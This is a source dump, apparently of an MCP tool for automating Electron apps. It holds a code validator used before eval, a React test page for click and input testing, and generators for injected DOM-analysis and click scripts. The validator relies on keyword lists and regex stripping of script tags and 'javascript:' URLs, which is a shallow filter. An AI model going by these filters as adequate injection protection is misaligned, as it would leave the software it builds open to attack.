errors: string[]; riskFactors: string[]; } { const errors: string[] = []; const riskFactors: string[] = []; const profile = SECURITY_PROFILES[this.securityLevel]; // Allow simple safe operations const safePatterns = [ /^document\.(title|location|URL|domain)$/, /^window\.(location|navigator|screen)$/, /^Math\.\w+$/, /^Date\.\w+$/, /^JSON\.(parse|stringify)$/, /^[\w.[\]'"]+$/, // Simple property access ]; // Allow DOM queries based on security level const domQueryPatterns = profile.allowDOMQueries ? [ /^document\.querySelector\([^)]+\)$/, // Simple querySelector without function calls /^document\.querySelectorAll\([^)]+\)$/, // Simple querySelectorAll /^document\.getElementById\([^)]+\)$/, // getElementById /^document\.getElementsByClassName\([^)]+\)$/, // getElementsByClassName /^document\.getElementsByTagName\([^)]+\)$/, // getElementsByTagName /^document\.activeElement$/, // Check active element ] : []; // Allow UI interactions based on security level const uiInteractionPatterns = profile.allowUIInteractions ? [ /^window\.getComputedStyle\([^)]+\)$/, // Get computed styles /^[\w.]+\.(textContent|innerText|innerHTML|value|checked|selected|disabled|hidden)$/, // Property access /^[\w.]+\.(clientWidth|clientHeight|offsetWidth|offsetHeight|getBoundingClientRect)$/, // Size/position /^[\w.]+\.(focus|blur|scrollIntoView)\(\)$/, // UI methods ] : []; // Check if it's a safe pattern const isSafe = safePatterns.some((pattern) => pattern.test(code.trim())) || domQueryPatterns.some((pattern) => pattern.test(code.trim())) || uiInteractionPatterns.some((pattern) => pattern.test(code.trim())); if (!isSafe) { // Check for dangerous keywords in eval content for (const keyword of this.DANGEROUS_KEYWORDS) { const regex = new RegExp(`\\b${keyword}\\b`, 'gi'); if (regex.test(code)) { errors.push(`Dangerous keyword detected in eval: ${keyword}`); riskFactors.push(`eval_dangerous_keyword_${keyword}`); } } // Check for function calls based on security profile const hasFunctionCall = /\(\s*\)|\w+\s*\(/.test(code); if (hasFunctionCall) { // Extract function name const functionMatch = code.match(/(\w+)\s*\(/); const functionName = functionMatch ? functionMatch[1] : ''; // Check if function is allowed const isAllowedFunction = profile.allowFunctionCalls.includes('*') || profile.allowFunctionCalls.some( (allowed) => functionName.includes(allowed) || code.includes(allowed + '('), ); if (!isAllowedFunction) { errors.push(`Function calls in eval are restricted (${functionName})`); riskFactors.push('eval_function_call'); } } // Check for assignment operations based on security profile if (/=(?!=)/.test(code) && !profile.allowAssignments) { errors.push(`Assignment operations in eval are restricted`); riskFactors.push('eval_assignment'); } } return { errors, riskFactors }; } private static calculateObfuscationScore(code: string): number { let score = 0; const length = code.length; if (length === 0) return 0; // Check for excessive special characters const specialChars = (code.match(/[^a-zA-Z0-9\s]/g) || []).length; const specialCharRatio = specialChars / length; if (specialCharRatio > 0.3) score += 0.3; // Check for excessive parentheses/brackets const brackets = (code.match(/[(){}[\]]/g) || []).length; const bracketRatio = brackets / length; if (bracketRatio > 0.2) score += 0.2; // Check for encoded content if (/\\x[0-9a-fA-F]{2}/.test(code)) score += 0.2; if (/\\u[0-9a-fA-F]{4}/.test(code)) score += 0.2; if (/\\[0-7]{3}/.test(code)) score += 0.1; // Check for string concatenation patterns const concatPatterns = (code.match(/\+\s*["'`]/g) || []).length; if (concatPatterns > 5) score += 0.2; return Math.min(score, 1.0); } private static calculateRiskLevel(riskFactors: string[]): 'low' | 'medium' | 'high' | 'critical' { const criticalFactors = riskFactors.filter( (f) => f.includes('dangerous_keyword') || f.includes('injection_pattern'), ); const highFactors = riskFactors.filter( (f) => f.includes('xss_pattern') || f.includes('obfuscation'), ); if (criticalFactors.length > 0) return 'critical'; if (highFactors.length > 0 || riskFactors.length > 3) return 'high'; if (riskFactors.length > 1) return 'medium'; return 'low'; } private static sanitizeCommand(command: string): string { // Remove dangerous patterns let sanitized = command; // Remove HTML/script tags sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, ''); sanitized = sanitized.replace(/<[^>]*>/g, ''); // Remove javascript: URLs sanitized = sanitized.replace(/javascript:/gi, ''); // For code execution, don't HTML-escape quotes as it breaks JavaScript syntax // Just remove dangerous URL schemes and HTML tags return sanitized; } } ``` -------------------------------------------------------------------------------- /tests/integration/react-compatibility/react-test-app.html: -------------------------------------------------------------------------------- ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>React Click Test App</title> <script crossorigin src="https://unpkg.com/react@18/umd/react.development.js"></script> <script crossorigin src="https://unpkg.com/react-dom@18/umd/react-dom.development.js"></script> <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script> <style> body { font-family: Arial, sans-serif; padding: 20px; background: #f5f5f5; } .container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); } .button { padding: 12px 24px; margin: 10px; background: #007acc; color: white; border: none; cursor: pointer; border-radius: 6px; font-size: 16px; transition: background 0.2s; } .button:hover { background: #005a9e; } .button.success { background: #28a745; } .button.success:hover { background: #218838; } .result { margin: 20px 0; padding: 15px; background: #e9ecef; border-radius: 4px; min-height: 50px; border-left: 4px solid #007acc; } .counter { display: inline-block; background: #17a2b8; color: white; padding: 5px 10px; border-radius: 15px; font-weight: bold; margin-left: 10px; } </style> </head> <body> <div id="root"></div> <script type="text/babel"> const { useState, useEffect } = React; function ReactClickTestApp() { const [message, setMessage] = useState('Welcome! Click any button to test...'); const [counter, setCounter] = useState(0); // This is the typical React button that causes the MCP click issue const handleReactButtonClick = (e) => { e.preventDefault(); // This is what causes the MCP issue! setMessage('React button clicked! (preventDefault was called)'); setCounter(prev => prev + 1); console.log('React button clicked with preventDefault'); }; // Normal button without preventDefault const handleNormalButtonClick = (e) => { setMessage('Normal button clicked! (no preventDefault)'); setCounter(prev => prev + 1); console.log('Normal button clicked without preventDefault'); }; // Button that calls stopPropagation const handleStopPropagationClick = (e) => { e.stopPropagation(); setMessage('Stop propagation button clicked!'); setCounter(prev => prev + 1); console.log('Button clicked with stopPropagation'); }; // Form submit handler (typical React pattern) const handleFormSubmit = (e) => { e.preventDefault(); // Standard form handling setMessage('Form submitted! (preventDefault called on form)'); setCounter(prev => prev + 1); console.log('Form submitted with preventDefault'); }; return ( <div className="container"> <h1>React Click Test Application</h1> <p>This app demonstrates the React click issue with MCP Server</p> <div className="result"> <strong>Status:</strong> {message} {counter > 0 && <span className="counter">{counter} clicks</span>} </div> <div> <h3>Test Buttons:</h3> {/* This button will fail with MCP due to preventDefault */} <button id="react-button" className="button" onClick={handleReactButtonClick} > React Button (preventDefault) </button> {/* This button should work with MCP */} <button id="normal-button" className="button success" onClick={handleNormalButtonClick} > Normal Button (no preventDefault) </button> {/* This button uses stopPropagation */} <button id="stop-prop-button" className="button" onClick={handleStopPropagationClick} > Stop Propagation Button </button> </div> <div> <h3>Test Form (Input Detection):</h3> <form onSubmit={handleFormSubmit}> <div style={{marginBottom: '15px'}}> <label htmlFor="username" style={{display: 'block', marginBottom: '5px'}}>Username:</label> <input id="username" name="username" type="text" placeholder="Enter username..." style={{ padding: '8px 12px', border: '1px solid #ccc', borderRadius: '4px', fontSize: '16px', width: '200px' }} /> </div> <div style={{marginBottom: '15px'}}> <label htmlFor="email" style={{display: 'block', marginBottom: '5px'}}>Email:</label> <input id="email" name="email" type="email" placeholder="[email protected]" style={{ padding: '8px 12px', border: '1px solid #ccc', borderRadius: '4px', fontSize: '16px', width: '200px' }} /> </div> <div style={{marginBottom: '15px'}}> <label htmlFor="password" style={{display: 'block', marginBottom: '5px'}}>Password:</label> <input id="password" name="password" type="password" placeholder="Enter password..." style={{ padding: '8px 12px', border: '1px solid #ccc', borderRadius: '4px', fontSize: '16px', width: '200px' }} /> </div> <div style={{marginBottom: '15px'}}> <label htmlFor="age" style={{display: 'block', marginBottom: '5px'}}>Age:</label> <input id="age" name="age" type="number" placeholder="25" style={{ padding: '8px 12px', border: '1px solid #ccc', borderRadius: '4px', fontSize: '16px', width: '100px' }} /> </div> <div style={{marginBottom: '15px'}}> <label htmlFor="comments" style={{display: 'block', marginBottom: '5px'}}>Comments:</label> <textarea id="comments" name="comments" placeholder="Enter your comments..." rows="3" style={{ padding: '8px 12px', border: '1px solid #ccc', borderRadius: '4px', fontSize: '16px', width: '300px', resize: 'vertical' }} /> </div> <button type="submit" id="submit-button" className="button" > Submit Form (preventDefault) </button> </form> </div> <div style={{marginTop: '30px', fontSize: '14px', color: '#666'}}> <p><strong>Instructions for MCP Testing:</strong></p> <ul> <li>Try clicking "React Button" - this should work now (fix applied)</li> <li>Try clicking "Normal Button" - this should work fine</li> <li>Try clicking "Submit Form" - this should work now (fix applied)</li> <li>Try fill_input on username, email, password, age, comments fields</li> <li>Check browser console for click events</li> <li>Use get_page_structure to see if inputs are detected</li> </ul> </div> </div> ); } // Render the React app ReactDOM.render(<ReactClickTestApp />, document.getElementById('root')); // Add global click listener to monitor all clicks document.addEventListener('click', (e) => { console.log('Global click detected:', { target: e.target.tagName, id: e.target.id, defaultPrevented: e.defaultPrevented, bubbles: e.bubbles, cancelable: e.cancelable }); }); </script> </body> </html> ``` -------------------------------------------------------------------------------- /src/utils/electron-commands.ts: -------------------------------------------------------------------------------- ```typescript /** * Enhanced Electron interaction commands for React-based applications * Addresses common issues with form interactions, event handling, and state management */ /** * Securely escape text input for JavaScript code generation */ function escapeJavaScriptString(input: string): string { // Use JSON.stringify for proper escaping of quotes, newlines, and special characters return JSON.stringify(input); } /** * Validate text input for potential security issues */ function validateTextInput(text: string): { isValid: boolean; sanitized: string; warnings: string[]; } { const warnings: string[] = []; let sanitized = text; // Check for suspicious patterns if (text.includes('javascript:')) warnings.push('Contains javascript: protocol'); if (text.includes('<script')) warnings.push('Contains script tags'); if (text.match(/['"]\s*;\s*/)) warnings.push('Contains potential code injection'); if (text.length > 1000) warnings.push('Input text is unusually long'); // Basic sanitization - remove potentially dangerous content sanitized = sanitized.replace(/javascript:/gi, ''); sanitized = sanitized.replace(/<script[^>]*>.*?<\/script>/gi, ''); sanitized = sanitized.substring(0, 1000); // Limit length return { isValid: warnings.length === 0, sanitized, warnings, }; } export interface ElementAnalysis { element?: Element; tag: string; text: string; id: string; className: string; name: string; placeholder: string; type: string; value: string; ariaLabel: string; ariaRole: string; title: string; href: string; src: string; alt: string; position: { x: number; y: number; width: number; height: number; }; isVisible: boolean; isInteractive: boolean; zIndex: number; backgroundColor: string; color: string; fontSize: string; fontWeight: string; cursor: string; context: string; selector: string; xpath: string; } export interface PageAnalysis { clickable: ElementAnalysis[]; inputs: ElementAnalysis[]; links: ElementAnalysis[]; images: ElementAnalysis[]; text: ElementAnalysis[]; containers: ElementAnalysis[]; metadata: { totalElements: number; visibleElements: number; interactiveElements: number; pageTitle: string; pageUrl: string; viewport: { width: number; height: number; }; }; } /** * Generate the enhanced find_elements command with deep DOM analysis */ export function generateFindElementsCommand(): string { return ` (function() { // Deep DOM analysis functions function analyzeElement(el) { const rect = el.getBoundingClientRect(); const style = getComputedStyle(el); return { tag: el.tagName.toLowerCase(), text: (el.textContent || '').trim().substring(0, 100), id: el.id || '', className: el.className || '', name: el.name || '', placeholder: el.placeholder || '', type: el.type || '', value: el.value || '', ariaLabel: el.getAttribute('aria-label') || '', ariaRole: el.getAttribute('role') || '', title: el.title || '', href: el.href || '', src: el.src || '', alt: el.alt || '', position: { x: Math.round(rect.left), y: Math.round(rect.top), width: Math.round(rect.width), height: Math.round(rect.height) }, isVisible: rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden' && style.opacity > 0, isInteractive: isInteractiveElement(el), zIndex: parseInt(style.zIndex) || 0, backgroundColor: style.backgroundColor, color: style.color, fontSize: style.fontSize, fontWeight: style.fontWeight, cursor: style.cursor, context: getElementContext(el), selector: generateSelector(el), xpath: generateXPath(el) }; } function isInteractiveElement(el) { const interactiveTags = ['BUTTON', 'A', 'INPUT', 'SELECT', 'TEXTAREA']; const interactiveTypes = ['button', 'submit', 'reset', 'checkbox', 'radio']; const interactiveRoles = ['button', 'link', 'menuitem', 'tab', 'option']; return interactiveTags.includes(el.tagName) || interactiveTypes.includes(el.type) || interactiveRoles.includes(el.getAttribute('role')) || el.hasAttribute('onclick') || el.hasAttribute('onsubmit') || el.getAttribute('contenteditable') === 'true' || getComputedStyle(el).cursor === 'pointer'; } function getElementContext(el) { const context = []; // Get form context const form = el.closest('form'); if (form) { const formTitle = form.querySelector('h1, h2, h3, h4, h5, h6, .title'); if (formTitle) context.push('Form: ' + formTitle.textContent.trim().substring(0, 50)); } // Get parent container context const container = el.closest('section, article, div[class*="container"], div[class*="card"], div[class*="panel"]'); if (container && container !== form) { const heading = container.querySelector('h1, h2, h3, h4, h5, h6, .title, .heading'); if (heading) context.push('Container: ' + heading.textContent.trim().substring(0, 50)); } // Get nearby labels const label = findElementLabel(el); if (label) context.push('Label: ' + label.substring(0, 50)); return context.join(' | '); } function findElementLabel(el) { // For inputs, find associated label if (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA' || el.tagName === 'SELECT') { if (el.id) { const label = document.querySelector(\`label[for="\${el.id}"]\`); if (label) return label.textContent.trim(); } // Check if nested in label const parentLabel = el.closest('label'); if (parentLabel) return parentLabel.textContent.trim(); // Check aria-labelledby const labelledBy = el.getAttribute('aria-labelledby'); if (labelledBy) { const labelEl = document.getElementById(labelledBy); if (labelEl) return labelEl.textContent.trim(); } } return ''; } function generateSelector(el) { // Generate a robust CSS selector if (el.id) return '#' + el.id; let selector = el.tagName.toLowerCase(); if (el.className) { const classes = el.className.split(' ').filter(c => c && !c.match(/^(ng-|v-|_)/)); if (classes.length > 0) { selector += '.' + classes.slice(0, 3).join('.'); } } // Add attribute selectors for better specificity if (el.name) selector += \`[name="\${el.name}"]\`; if (el.type && el.tagName === 'INPUT') selector += \`[type="\${el.type}"]\`; if (el.placeholder) selector += \`[placeholder*="\${el.placeholder.substring(0, 20)}"]\`; return selector; } function generateXPath(el) { if (el.id) return \`//*[@id="\${el.id}"]\`; let path = ''; let current = el; while (current && current.nodeType === Node.ELEMENT_NODE && current !== document.body) { let selector = current.tagName.toLowerCase(); if (current.id) { path = \`//*[@id="\${current.id}"]\` + path; break; } const siblings = Array.from(current.parentNode?.children || []).filter( sibling => sibling.tagName === current.tagName ); if (siblings.length > 1) { const index = siblings.indexOf(current) + 1; selector += \`[\${index}]\`; } path = '/' + selector + path; current = current.parentElement; } return path || '//body' + path; } // Categorize elements by type const analysis = { clickable: [], inputs: [], links: [], images: [], text: [], containers: [], metadata: { totalElements: 0, visibleElements: 0, interactiveElements: 0, pageTitle: document.title, pageUrl: window.location.href, viewport: { width: window.innerWidth, height: window.innerHeight } } }; // Analyze all elements const allElements = document.querySelectorAll('*'); analysis.metadata.totalElements = allElements.length; for (let el of allElements) { const elementAnalysis = analyzeElement(el); if (!elementAnalysis.isVisible) continue; analysis.metadata.visibleElements++; if (elementAnalysis.isInteractive) { analysis.metadata.interactiveElements++; // Categorize clickable elements if (['button', 'a', 'input'].includes(elementAnalysis.tag) || ['button', 'submit'].includes(elementAnalysis.type) || elementAnalysis.ariaRole === 'button') { analysis.clickable.push(elementAnalysis); } } // Categorize inputs if (['input', 'textarea', 'select'].includes(elementAnalysis.tag)) { analysis.inputs.push(elementAnalysis); } // Categorize links if (elementAnalysis.tag === 'a' && elementAnalysis.href) { analysis.links.push(elementAnalysis); } // Categorize images if (elementAnalysis.tag === 'img') { analysis.images.push(elementAnalysis); } // Categorize text elements with significant content if (['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'span', 'div'].includes(elementAnalysis.tag) && elementAnalysis.text.length > 10 && elementAnalysis.text.length < 200) { analysis.text.push(elementAnalysis); } // Categorize important containers if (['form', 'section', 'article', 'main', 'nav', 'header', 'footer'].includes(elementAnalysis.tag) || elementAnalysis.className.match(/(container|wrapper|card|panel|modal|dialog)/i)) { analysis.containers.push(elementAnalysis); } } // Limit results to prevent overwhelming output const maxResults = 20; Object.keys(analysis).forEach(key => { if (Array.isArray(analysis[key]) && analysis[key].length > maxResults) { analysis[key] = analysis[key].slice(0, maxResults); } }); return JSON.stringify(analysis, null, 2); })() `; } /** * Generate the enhanced click_by_text command with improved element scoring */ export function generateClickByTextCommand(text: string): string { // Validate and sanitize input text const validation = validateTextInput(text); if (!validation.isValid) { return `(function() { return "Security validation failed: ${validation.warnings.join( ', ', )}"; })()`; } // Escape the text to prevent JavaScript injection const escapedText = escapeJavaScriptString(validation.sanitized); return ` (function() { const targetText = ${escapedText}; // Safe: JSON.stringify escapes quotes and special chars // Deep DOM analysis function function analyzeElement(el) { const rect = el.getBoundingClientRect(); const style = getComputedStyle(el); return { element: el, text: (el.textContent || '').trim(), ariaLabel: el.getAttribute('aria-label') || '', title: el.title || '', role: el.getAttribute('role') || el.tagName.toLowerCase(), isVisible: rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden', isInteractive: el.tagName.match(/^(BUTTON|A|INPUT)$/) || el.hasAttribute('onclick') || el.getAttribute('role') === 'button' || style.cursor === 'pointer', rect: rect, zIndex: parseInt(style.zIndex) || 0, opacity: parseFloat(style.opacity) || 1 }; } // Score element relevance function scoreElement(analysis, target) { let score = 0; const text = analysis.text.toLowerCase(); const label = analysis.ariaLabel.toLowerCase(); const title = analysis.title.toLowerCase(); const targetLower = target.toLowerCase(); // Exact match gets highest score if (text === targetLower || label === targetLower || title === targetLower) score += 100; // Starts with target if (text.startsWith(targetLower) || label.startsWith(targetLower)) score += 50; // Contains target if (text.includes(targetLower) || label.includes(targetLower) || title.includes(targetLower)) score += 25; // Fuzzy matching for close matches const similarity = Math.max( calculateSimilarity(text, targetLower), calculateSimilarity(label, targetLower), calculateSimilarity(title, targetLower) ); score += similarity * 20; // Bonus for interactive elements if (analysis.isInteractive) score += 10; // Bonus for visibility if (analysis.isVisible) score += 15; // Bonus for larger elements (more likely to be main buttons) if (analysis.rect.width > 100 && analysis.rect.height > 30) score += 5; // Bonus for higher z-index (on top) score += Math.min(analysis.zIndex, 5); return score; } // Simple string similarity function function calculateSimilarity(str1, str2) { const len1 = str1.length; const len2 = str2.length; const maxLen = Math.max(len1, len2); if (maxLen === 0) return 0; let matches = 0; const minLen = Math.min(len1, len2); for (let i = 0; i < minLen; i++) { if (str1[i] === str2[i]) matches++; } return matches / maxLen; } // Find all potentially clickable elements const allElements = document.querySelectorAll('*'); const candidates = []; for (let el of allElements) { const analysis = analyzeElement(el); if (analysis.isVisible && (analysis.isInteractive || analysis.text || analysis.ariaLabel)) { const score = scoreElement(analysis, targetText); if (score > 5) { // Only consider elements with some relevance candidates.push({ ...analysis, score }); } } } if (candidates.length === 0) { return \`No clickable elements found containing text: "\${targetText}"\`; } // Sort by score and get the best match candidates.sort((a, b) => b.score - a.score); const best = candidates[0]; // Additional validation before clicking if (best.score < 15) { return \`Found potential matches but confidence too low (score: \${best.score}). Best match was: "\${best.text || best.ariaLabel}" - try being more specific.\`; } // Enhanced clicking for React components with duplicate prevention function clickElement(element) { // Enhanced duplicate prevention const elementId = element.id || element.className || element.textContent?.slice(0, 20) || 'element'; const clickKey = 'mcp_click_text_' + btoa(elementId).slice(0, 10); // Check if this element was recently clicked if (window[clickKey] && Date.now() - window[clickKey] < 2000) { throw new Error('Element click prevented - too soon after previous click'); } // Mark this element as clicked window[clickKey] = Date.now(); // Prevent multiple rapid events const originalPointerEvents = element.style.pointerEvents; element.style.pointerEvents = 'none'; // Scroll element into view if needed element.scrollIntoView({ behavior: 'smooth', block: 'center' }); // Focus the element if focusable try { if (element.focus && typeof element.focus === 'function') { element.focus(); } } catch (e) { // Focus may fail on some elements, that's ok } // Create and dispatch comprehensive click events for React const events = [ new MouseEvent('mousedown', { bubbles: true, cancelable: true, view: window }), new MouseEvent('mouseup', { bubbles: true, cancelable: true, view: window }), new MouseEvent('click', { bubbles: true, cancelable: true, view: window }) ]; // Dispatch all events - don't treat preventDefault as failure events.forEach(event => { element.dispatchEvent(event); }); // Trigger additional React events if it's a form element if (element.tagName === 'INPUT' || element.tagName === 'TEXTAREA') { element.dispatchEvent(new Event('input', { bubbles: true })); element.dispatchEvent(new Event('change', { bubbles: true })); } // Re-enable after delay setTimeout(() => { element.style.pointerEvents = originalPointerEvents; }, 1000); return true; } try { const clickResult = clickElement(best.element); return \`Successfully clicked element (score: \${best.score}): "\${best.text || best.ariaLabel || best.title}" - searched for: "\${targetText}"\`; } catch (error) { return \`Failed to click element: \${error.message}. Element found (score: \${best.score}): "\${best.text || best.ariaLabel || best.title}"\`; } })() `; } ```